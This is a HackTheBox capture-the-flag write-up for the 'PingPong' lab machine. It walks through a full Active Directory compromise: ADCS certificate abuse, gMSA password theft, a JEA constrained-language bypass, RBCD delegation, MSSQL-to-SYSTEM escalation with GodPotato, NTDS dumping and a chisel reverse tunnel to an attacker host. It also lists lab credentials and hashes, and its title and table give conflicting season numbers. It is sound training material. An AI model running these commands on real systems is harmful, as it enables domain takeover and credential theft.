PingPong - HackTheBox Seasonal S7 Writeup
Overview
| Field | Detail |
|---|---|
| Machine | PingPong |
| OS | Windows Server 2022 |
| Difficulty | Insane |
| Season | S10 |
| IP | 10.129.33.38 (changes on respawn) |
| Domains | PING.HTB (DC1, dc1.ping.htb) / PONG.HTB (DC2, dc2.pong.htb @ 192.168.2.2 internal) |
| Trust | Bidirectional forest trust between PING.HTB and PONG.HTB |
| Hardening | NTLM disabled everywhere, RC4 disabled, AES-only Kerberos |
| Starting Creds | c.roberts / AssumedBreach123 (Junior IT Technician, member of IT group) |
This is an Insane-difficulty machine involving a multi-domain Active Directory environment with a bidirectional forest trust. The attack chain spans 12 steps, crossing domain boundaries multiple times and exploiting ADCS misconfigurations, JEA bypass techniques, gMSA abuse, RBCD delegation, MSSQL privilege escalation, and certificate template manipulation.
Step 1: Reconnaissance
Nmap Scan
Initial port scan to identify available services on DC1.
nmap -sCV -T4 -p- -oA nmap/pingpong 10.129.33.38
Key open ports discovered:
| Port | Service |
|---|---|
| 53 | DNS |
| 88 | Kerberos |
| 135 | MSRPC |
| 139 | NetBIOS |
| 389 | LDAP |
| 445 | SMB |
| 464 | Kerberos kpasswd |
| 593 | RPC over HTTP |
| 636 | LDAPS |
| 2179 | vmrdp |
| 3268 | Global Catalog |
| 3269 | Global Catalog SSL |
| 5985 | WinRM |
| 9389 | AD Web Services |
The port profile clearly indicates a Domain Controller.
Domain Enumeration via LDAP
Using the assumed breach credentials to enumerate the domain.
ldapsearch -H ldap://10.129.33.38 -D "c.roberts@ping.htb" -w "AssumedBreach123" -b "DC=ping,DC=htb" "(objectClass=user)" sAMAccountName memberOf description
Key findings:
- Users: c.roberts (IT group member), various service accounts
- Groups of interest: IT, TempWinRMAccess, CA Managers
- Trust relationship: Bidirectional forest trust to PONG.HTB domain
- TempWinRMAccess group: Has NO direct members but is linked via ADCS ESC13 OID — this is the entry point
The fact that TempWinRMAccess has no direct members but exists as a WinRM access group strongly suggests a certificate-based membership mechanism (ESC13).
Step 2: ESC13 - Certificate to Group Membership
ESC13 is a relatively new ADCS attack where a certificate template's issuance policy OID is linked to an Active Directory group. When a user authenticates with a certificate issued from such a template, the group SID is added to their PAC, effectively granting them group membership.
Enumerate ADCS with Certipy
certipy find -u c.roberts@ping.htb -p AssumedBreach123 -dc-ip 10.129.33.38
This discovered the TemporaryWinRM template with ESC13 vulnerability:
- Enrollable by: Domain Users (c.roberts qualifies)
- Issuance Policy OID: Linked to TempWinRMAccess group
- Effect: Any certificate issued from this template grants TempWinRMAccess membership in the user's PAC
Request Certificate from TemporaryWinRM Template
certipy req -u c.roberts@ping.htb -p AssumedBreach123 -ca ping-DC1-CA -template TemporaryWinRM -dc-ip 10.129.33.38
Output: c.roberts.pfx — a PKCS#12 file containing the certificate and private key.
Authenticate with Certificate (PKINIT)
certipy auth -pfx c.roberts.pfx -dc-ip 10.129.33.38 -domain ping.htb
This performs PKINIT authentication. The KDC issues a TGT with the TempWinRMAccess group SID included in the PAC, granting WinRM access to DC1.
Output: c.roberts.ccache — Kerberos credential cache with the TGT.
Step 3: WinRM Shell on DC1
macOS GSSAPI Limitations
On macOS, the standard WinRM tools (evil-winrm, pywinrm) face GSSAPI IOV (wrap_iov) issues when using Kerberos authentication. The solution is to use pypsrp, which handles Kerberos authentication correctly on macOS.
Connect via pypsrp
from pypsrp.client import Client
# Set KRB5CCNAME to point to the ccache from certipy
import os
os.environ['KRB5CCNAME'] = 'c.roberts.ccache'
client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("whoami /groups")
print(output)
The output confirmed ping\c.roberts with TempWinRMAccess group membership, validating the ESC13 attack worked.
Step 4: Chisel Tunnel to DC2
DC2 (dc2.pong.htb, 192.168.2.2) is on an internal network only reachable from DC1. A tunnel is needed to interact with PONG.HTB services.
Set Up Chisel Server (Attacker Machine)
./chisel_mac server --reverse --port 8888
Upload and Run Chisel Client on DC1
Upload chisel.exe to DC1 via pypsrp file transfer:
client.copy("chisel.exe", "C:\\Users\\c.roberts\\chisel.exe")
Start the chisel client on DC1 to create a reverse SOCKS proxy or direct port forwards:
C:\Users\c.roberts\chisel.exe client <attacker_ip>:8888 R:1080:socks
DC2 (192.168.2.2) is now reachable through the SOCKS proxy on localhost:1080.
Note: macOS chisel reverse SOCKS/port-forward had reliability issues. The more reliable workaround was using pypsrp sessions on DC1 as a KDC proxy, executing commands that reach DC2 through DC1's native network connectivity.
Step 5: gMSA Managers Group Takeover (Cross-Domain)
This is a cross-domain privilege escalation chain. The IT group in PING.HTB OWNS the gMSA Managers group in PONG.HTB, which implies WriteDacl permissions.
Step 5a: Add GenericAll ACE for c.roberts on gMSA Managers
From DC1 as c.roberts, use .NET LDAP classes to connect to DC2 and modify the ACL on gMSA Managers:
# Connect to DC2 LDAP
$ldap = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap.SessionOptions.Sealing = $true
$ldap.SessionOptions.Signing = $true
$ldap.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap.Bind()
# Read current nTSecurityDescriptor with SD_FLAGS control (value 4 = DACL only)
$sdFlagsControl = New-Object System.DirectoryServices.Protocols.DirectoryControl("1.2.840.113556.1.4.801", [byte[]](0x30,0x03,0x02,0x01,0x04), $true, $true)
$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
"(objectClass=*)",
[System.DirectoryServices.Protocols.SearchScope]::Base,
"nTSecurityDescriptor"
)
$searchReq.Controls.Add($sdFlagsControl)
$result = $ldap.SendRequest($searchReq)
# Parse the existing SD, add GenericAll ACE for c.roberts SID
# S-1-5-21-750635624-2058721901-1932338391-2617
$sd = New-Object System.DirectoryServices.ActiveDirectorySecurity
$sdBytes = $result.Entries[0].Attributes["ntsecuritydescriptor"].GetValues([byte[]])[0]
$sd.SetSecurityDescriptorBinaryForm($sdBytes)
# Create GenericAll ACE
$robertsSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-750635624-2058721901-1932338391-2617")
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$robertsSid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow
)
$sd.AddAccessRule($ace)
# Write back modified SD
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeModificationCollection]@(
New-Object System.DirectoryServices.Protocols.DirectoryAttributeModification -Property @{
Name = "nTSecurityDescriptor"
Operation = [System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace
}
)
)
$modReq.Attributes[0].Add($sd.GetSecurityDescriptorBinaryForm())
$modReq.Controls.Add($sdFlagsControl)
$ldap.SendRequest($modReq)
Step 5b: Change Group Scope (Global → Universal → DomainLocal)
Foreign Security Principals (cross-domain users) can only be members of DomainLocal groups. The gMSA Managers group must be converted from Global to DomainLocal scope. Active Directory does not allow direct Global→DomainLocal conversion, so the path is Global → Universal → DomainLocal.
# Change Global (-2147483646) → Universal (-2147483640)
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
"groupType",
"-2147483640"
)
$ldap.SendRequest($modReq)
# Change Universal (-2147483640) → DomainLocal (-2147483644)
$modReq2 = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=gMSA Managers,CN=Users,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Replace,
"groupType",
"-2147483644"
)
$ldap.SendRequest($modReq2)
Step 5c: Add c.roberts as Member
Add c.roberts (PING domain user) to the gMSA Managers group (PONG domain) using SID format, which automatically creates a ForeignSecurityPrincipal object in PONG.
# Use ADSI DirectoryEntry for member modification
$entry = New-Object System.DirectoryServices.DirectoryEntry(
"LDAP://dc2.pong.htb/CN=gMSA Managers,CN=Users,DC=pong,DC=htb"
)
# Use <SID=hex> format for cross-domain membership
# SID S-1-5-21-750635624-2058721901-1932338391-2617 in hex
$sidHex = "<SID=0105000000000005150000002855C52C8DF0D47A672A5C73390A0000>"
$entry.Properties["member"].Add($sidHex)
$entry.CommitChanges()
This creates a ForeignSecurityPrincipal object in the PONG domain and adds it to gMSA Managers.
Step 6: gMSA Password Dump
With membership in gMSA Managers, c.roberts can now read the managed password of Pong_gMSA$.
Retrieve msDS-ManagedPassword
A fresh LDAP connection is needed so the new Kerberos ticket includes the gMSA Managers group membership.
# Fresh LDAP connection to DC2 (ticket will include gMSA Managers)
$ldap2 = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldap2.SessionOptions.Sealing = $true
$ldap2.SessionOptions.Signing = $true
$ldap2.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldap2.Bind()
# Query the gMSA account for its managed password
$searchReq = New-Object System.DirectoryServices.Protocols.SearchRequest(
"DC=pong,DC=htb",
"(sAMAccountName=Pong_gMSA$)",
[System.DirectoryServices.Protocols.SearchScope]::Subtree,
"msDS-ManagedPassword"
)
$result = $ldap2.SendRequest($searchReq)
$blob = $result.Entries[0].Attributes["msds-managedpassword"].GetValues([byte[]])[0]
Parse MSDS-MANAGEDPASSWORD_BLOB
The blob structure has the password at offset 16, length 256 bytes (UTF-16LE encoded).
# Extract password bytes from the blob
$passwordOffset = 16
$passwordLength = 256
$passwordBytes = $blob[$passwordOffset..($passwordOffset + $passwordLength - 1)]
# Compute NT hash (MD4 of UTF-16LE password)
$md4 = [System.Security.Cryptography.MD4]::Create() # or manual MD4 implementation
$ntHash = $md4.ComputeHash($passwordBytes)
# NT Hash: 4b85a2a049588810c1267e4018b07a07
Compute AES256 Key
The AES256 key is derived using the Kerberos string_to_key function with the appropriate salt.
# Using Python for key derivation
from impacket.krb5.crypto import string_to_key, Enctype
salt = "PONG.HTBhostpong_gmsa.pong.htb"
aes256_key = string_to_key(Enctype.AES256, password_bytes, salt)
# AES256 key: 9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
Credentials obtained:
- Account: Pong_gMSA$
- NT Hash:
4b85a2a049588810c1267e4018b07a07 - AES256 Key:
9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a
Step 7: JEA Session - PSReadLine History - c.carlssen Credentials
Discover JEA Endpoint
The Pong_gMSA$ service account has access to a JEA (Just Enough Administration) endpoint with ConfigurationName "restricted" (from restricted_e26939b6-...-dfb45427c765.pssc).
Connect to JEA via Invoke-Command
Direct connection as Pong_gMSA$ via pypsrp had cross-domain Kerberos issues. The solution is to use Invoke-Command from DC1 with a PSCredential object.
# Create PSCredential for Pong_gMSA$
$secPwd = ConvertTo-SecureString -String "<gmsa_password_or_use_nt_hash_method>" -AsPlainText -Force
$gmsaCred = New-Object System.Management.Automation.PSCredential("PONG\Pong_gMSA$", $secPwd)
# Connect to JEA restricted endpoint
Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
# Enumerate available commands
Get-Command
}
The JEA endpoint runs in RestrictedRemoteServer mode with ConstrainedLanguage Mode (CLM). Only 8 commands are available, and the FileSystem provider is NOT available — Get-ChildItem, Get-Content, etc. do not work.
CLM Bypass: Variable Syntax File Read
The critical discovery: PowerShell's ${C:\path\to\file} variable syntax can read file contents even in Constrained Language Mode without the FileSystem provider. This is because the variable notation is processed by the language parser before provider restrictions apply.
Invoke-Command -ComputerName dc1.ping.htb -Credential $gmsaCred -ConfigurationName restricted -ScriptBlock {
${C:\Users\Pong_gMSA$\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt}
}
Credentials Found in PSReadLine History
The history file contained:
$c = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $(ConvertTo-SecureString -AsPlainText -Force "A()DUJ!@414"))
Credentials obtained: c.carlssen / A()DUJ!@414
Step 8: User Flag
Access DC2 as c.carlssen
$secPwd = ConvertTo-SecureString "A()DUJ!@414" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("pong\c.carlssen", $secPwd)
Invoke-Command -ComputerName dc2.pong.htb -Credential $cred -ScriptBlock {
type C:\Users\C.Carlssen\Desktop\user.txt
}
User flag: 536621469e40e4d783c1459415d82c52
Step 9: RBCD to MSSQL as C.Adam (sysadmin)
Attack Path Analysis
- c.carlssen is in IT Service Admins which has GenericWrite on
svc_sql(MSSQL service account) - svc_sql has SPN:
mssqlsvc/dc2.pong.htb - C.Adam is in Database Admins group and is sysadmin on the MSSQL instance
- MachineAccountQuota = 0 — cannot create new computer accounts
- Solution: Use Pong_gMSA$ (which IS a computer-like account) for RBCD
Step 9a: Configure RBCD on svc_sql
Allow Pong_gMSA$ to delegate to svc_sql via Resource-Based Constrained Delegation:
$gmsaSid = New-Object System.Security.Principal.SecurityIdentifier("S-1-5-21-<PONG-DOMAIN-SID>-<GMSA-RID>")
$sd = New-Object Security.AccessControl.RawSecurityDescriptor("O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($gmsaSid.Value))")
$sdBytes = New-Object byte[] $sd.BinaryLength
$sd.GetBinaryForm($sdBytes, 0)
Set-ADUser svc_sql -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $sdBytes}
Step 9b: Add SPN to Pong_gMSA$
RBCD requires the delegating account to have an SPN for S4U2Proxy to work. Pong_gMSA$ has NO SPN by default, but it has NT AUTHORITY\SELF WriteProperty rights on its own SPN attribute.
# Use Pong_gMSA$'s own LDAP connection to add SPN to itself
$ldapSelf = New-Object System.DirectoryServices.Protocols.LdapConnection("dc2.pong.htb:389")
$ldapSelf.SessionOptions.Sealing = $true
$ldapSelf.SessionOptions.Signing = $true
$ldapSelf.Credential = New-Object Net.NetworkCredential("Pong_gMSA$", $secPwd, "PONG")
$ldapSelf.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
$ldapSelf.Bind()
$modReq = New-Object System.DirectoryServices.Protocols.ModifyRequest(
"CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb",
[System.DirectoryServices.Protocols.DirectoryAttributeOperation]::Add,
"servicePrincipalName",
"cifs/gmsa.pong.htb"
)
$ldapSelf.SendRequest($modReq)
Step 9c: Add Port-Based SPN to svc_sql
The MSSQL SqlClient requires the SPN to include the port number (MSSQLSvc/dc2.pong.htb:1433), but only mssqlsvc/dc2.pong.htb existed.
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/dc2.pong.htb:1433"}
Step 9d: S4U with Rubeus
Impacket's getST.py had issues with AES-only environments (etype handling bugs). Rubeus handles this correctly.
Upload Rubeus.exe to DC1 and execute S4U:
Rubeus.exe s4u /user:Pong_gMSA$ /aes256:9a3d021763ac0f2ceb3b629eddf92fee758a3ba6fce28269a2d35a3e252e539a /impersonateuser:C.Adam /msdsspn:"MSSQLSvc/dc2.pong.htb:1433" /domain:pong.htb /dc:192.168.2.2 /ptt
This performs S4U2Self (get a service ticket for C.Adam to Pong_gMSA$) followed by S4U2Proxy (exchange it for a service ticket for C.Adam to MSSQLSvc/dc2.pong.htb:1433), and injects the resulting ticket into the current session.
Step 9e: MSSQL Connection with Ticket
WinRM sessions cannot use tickets injected via SSPI (the ticket cache is per-logon-session). The solution is to use Rubeus createnetonly to launch a new process with its own logon session, then run the S4U + MSSQL connection within that same process.
Write a combined PowerShell script that does everything in one process:
# combined.ps1 - runs inside createnetonly logon session
# S4U is already done and ticket injected by Rubeus before this script runs
$conn = New-Object System.Data.SqlClient.SqlConnection
$conn.ConnectionString = "Server=dc2.pong.htb,1433;Integrated Security=True;TrustServerCertificate=True"
$conn.Open()
$cmd = $conn.CreateCommand()
$cmd.CommandText = "SELECT SYSTEM_USER AS [user], IS_SRVROLEMEMBER('sysadmin') AS [sysadmin]"
$reader = $cmd.ExecuteReader()
$reader.Read()
Write-Output "SQL: user=$($reader['user']) sysadmin=$($reader['sysadmin'])"
$reader.Close()
$conn.Close()
Launch via createnetonly:
Rubeus.exe createnetonly /program:"powershell -ep bypass -File C:\Users\c.roberts\combined.ps1" /domain:PONG /username:C.Adam /password:fake /show
Result: SQL: user=pong\C.Adam sysadmin=1 — confirmed sysadmin access on MSSQL.
Step 10: MSSQL to SYSTEM via GodPotato
Enable xp_cmdshell
As sysadmin on MSSQL, enable command execution:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Output: pong\svc_sql
The svc_sql account has SeImpersonatePrivilege, making it vulnerable to potato attacks.
Write GodPotato.exe via OLE Automation
Since direct file upload through xp_cmdshell may be limited, use MSSQL's OLE Automation to write a binary file:
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- Write GodPotato.exe binary via ADODB.Stream
DECLARE @obj INT;
EXEC sp_OACreate 'ADODB.Stream', @obj OUTPUT;
EXEC sp_OASetProperty @obj, 'Type', 1; -- adTypeBinary
EXEC sp_OAMethod @obj, 'Open';
EXEC sp_OAMethod @obj, 'Write', NULL, 0x<hex_bytes_of_godpotato>;
EXEC sp_OAMethod @obj, 'SaveToFile', NULL, 'C:\Windows\Temp\GodPotato.exe', 2;
EXEC sp_OAMethod @obj, 'Close';
EXEC sp_OADestroy @obj;
Escalate to SYSTEM
EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "whoami"';
-- Output: nt authority\system
Add svc_sql to Domain Admins
EXEC xp_cmdshell 'C:\Windows\Temp\GodPotato.exe -cmd "net group \"Domain Admins\" svc_sql /add /domain"';
Step 11: DCSync PONG Domain
Set svc_sql Password and Access DC2
# Set a known password for svc_sql
$newPwd = ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force
Set-ADAccountPassword -Identity svc_sql -NewPassword $newPwd -Reset
WinRM to DC2 as svc_sql (now Domain Admin)
$svcCred = New-Object PSCredential("pong\svc_sql", $newPwd)
Invoke-Command -ComputerName dc2.pong.htb -Credential $svcCred -ScriptBlock {
ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ifm" quit quit
}
Download NTDS.dit and Registry Hives
Download the IFM output via pypsrp:
client.fetch("C:\\Windows\\Temp\\ifm\\Active Directory\\ntds.dit", "ntds.dit")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SYSTEM", "SYSTEM")
client.fetch("C:\\Windows\\Temp\\ifm\\registry\\SECURITY", "SECURITY")
Extract Hashes with secretsdump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Key hashes extracted:
| Account | NT Hash | AES256 Key |
|---|---|---|
| Administrator@PONG | 0b8ebfb6e9972babf9c01311748261a8 |
— |
| R.Martinelli (RID 1124) | d60fc26a0569b953a5cebd1392232630 |
61e48d17cfe9507a3095dfb84b218a4b803aa0984b123e432bc2a40fc5f7fe98 |
| svc_sql (LSA secret) | — | Password: This!IsAServi@ceA1231ccount |
R.Martinelli is a member of CA Managers in PING.HTB — this is the path back to the PING domain for the root flag.
Step 12: ESC4 to ESC1 - Administrator@PING - Root Flag
Attack Path
R.Martinelli (PONG domain) is in the CA Managers group (PING domain), which has WriteDacl on the SmartcardAuthentication certificate template. This enables an ESC4 attack (modifying a template to make it vulnerable to ESC1).
Set R.Martinelli's Password
Using svc_sql's Domain Admin privileges on PONG:
$newPwd = ConvertTo-SecureString "NewP@ssw0rd!" -AsPlainText -Force
Set-ADAccountPassword -Identity R.Martinelli -NewPassword $newPwd -Reset
Step 12a: ESC4 - Modify SmartcardAuthentication Template
Connect to DC1's LDAP as R.Martinelli (who is in CA Managers) and modify the SmartcardAuthentication template to be vulnerable to ESC1:
# Modify template attributes via LDAP
# Target: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
# Set these attributes:
# msPKI-Certificate-Name-Flag = 1 (ENROLLEE_SUPPLIES_SUBJECT - allows specifying any SAN)
# pKIExtendedKeyUsage = 1.3.6.1.5.5.7.3.2 (Client Authentication)
# msPKI-RA-Signature = 0 (no manager approval required)
# msPKI-Enrollment-Flag = 0 (no additional enrollment requirements)
Also add an Enrollment ACE for Authenticated Users so that c.roberts can enroll:
# Add ObjectAce with GUID 0e10c968-78fb-11d2-90d4-00c04f79dc55 (Certificate-Enrollment)
# for Authenticated Users (S-1-5-11) to the template's nTSecurityDescriptor
Step 12b: ESC1 - Request Certificate as Administrator
With the template now vulnerable to ESC1 (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU), request a certificate specifying Administrator as the UPN:
certipy req -u c.roberts@ping.htb -k -no-pass \
-ca ping-DC1-CA \
-template SmartcardAuthentication \
-upn Administrator@ping.htb \
-sid S-1-5-21-750635624-2058721901-1932338391-500 \
-target dc1.ping.htb \
-target-ip 10.129.33.38 \
-dc-ip 10.129.33.38
Output: admin_sid.pfx
The -sid parameter embeds the Administrator's SID in the certificate, ensuring the KDC maps it to the correct account even if UPN matching is ambiguous.
Step 12c: PKINIT Authentication as Administrator
certipy auth -pfx admin_sid.pfx -dc-ip 10.129.33.38 -domain ping.htb
Output:
- TGT for Administrator@PING.HTB saved to
administrator.ccache - NT Hash:
63905deb12b527aadfdbc26d3f423eff
Step 12d: Root Flag
import os
os.environ['KRB5CCNAME'] = 'administrator.ccache'
from pypsrp.client import Client
client = Client('dc1.ping.htb', auth='kerberos', ssl=False)
output, streams, had_errors = client.execute_ps("type C:\\Users\\Administrator\\Desktop\\root.txt")
print(output)
Root flag: 0553d3a8d1d25576efc44d7f854468c6
Key Techniques & Lessons Learned
1. ESC13: Certificate Issuance Policy OID to Group Membership
A certificate template's issuance policy OID can be linked to an AD group. Authenticating with such a certificate adds the group SID to the user's PAC, granting effective group membership without being a direct member.
2. JEA Constrained Language Mode Bypass
The ${C:\path\to\file} PowerShell variable syntax reads file contents even when the FileSystem provider is unavailable and Constrained Language Mode is active. This bypasses JEA restrictions that prevent standard file access commands.
3. Cross-Domain gMSA Abuse
The chain: Owner relationship → WriteDacl → GenericAll → change group scope (Global → Universal → DomainLocal) → add Foreign Security Principal as member → read msDS-ManagedPassword. The group scope conversion is required because only DomainLocal groups accept cross-domain members.
4. RBCD in AES-Only Environments
Impacket's getST.py has etype handling issues in AES-only (no RC4) environments. Rubeus handles this correctly. Additionally, the createnetonly technique is needed to use S4U tickets within WinRM sessions, as ticket injection via SSPI is per-logon-session.
5. SPN Management for RBCD
The delegating account (Pong_gMSA$) needs at least one SPN for S4U2Proxy. The account's NT AUTHORITY\SELF rights allow it to add SPNs to itself. The target service (svc_sql) also needed a port-based SPN (MSSQLSvc/dc2.pong.htb:1433) for SqlClient compatibility.
6. GodPotato via OLE Automation
When xp_cmdshell file access is limited, MSSQL's sp_OACreate with ADODB.Stream provides an alternative way to write binary files to disk.
7. ESC4 to ESC1 Chain
WriteDacl on a certificate template allows modifying its flags to enable ENROLLEE_SUPPLIES_SUBJECT (specifying arbitrary SANs) and setting the EKU to Client Authentication. Combined with adding an enrollment ACE, this converts any template into an ESC1 vulnerability.
8. macOS-Specific Challenges
- MTU 1200: Required for VPN stability with HackTheBox
- GSSAPI IOV: macOS's GSS framework lacks wrap_iov support, breaking standard WinRM Kerberos auth — pypsrp is the workaround
- Chisel reliability: Reverse tunnel reliability was poor on macOS; using pypsrp as a KDC proxy was more reliable
- Clock sync: Kerberos requires time sync within 5 minutes — macOS NTP behavior needed attention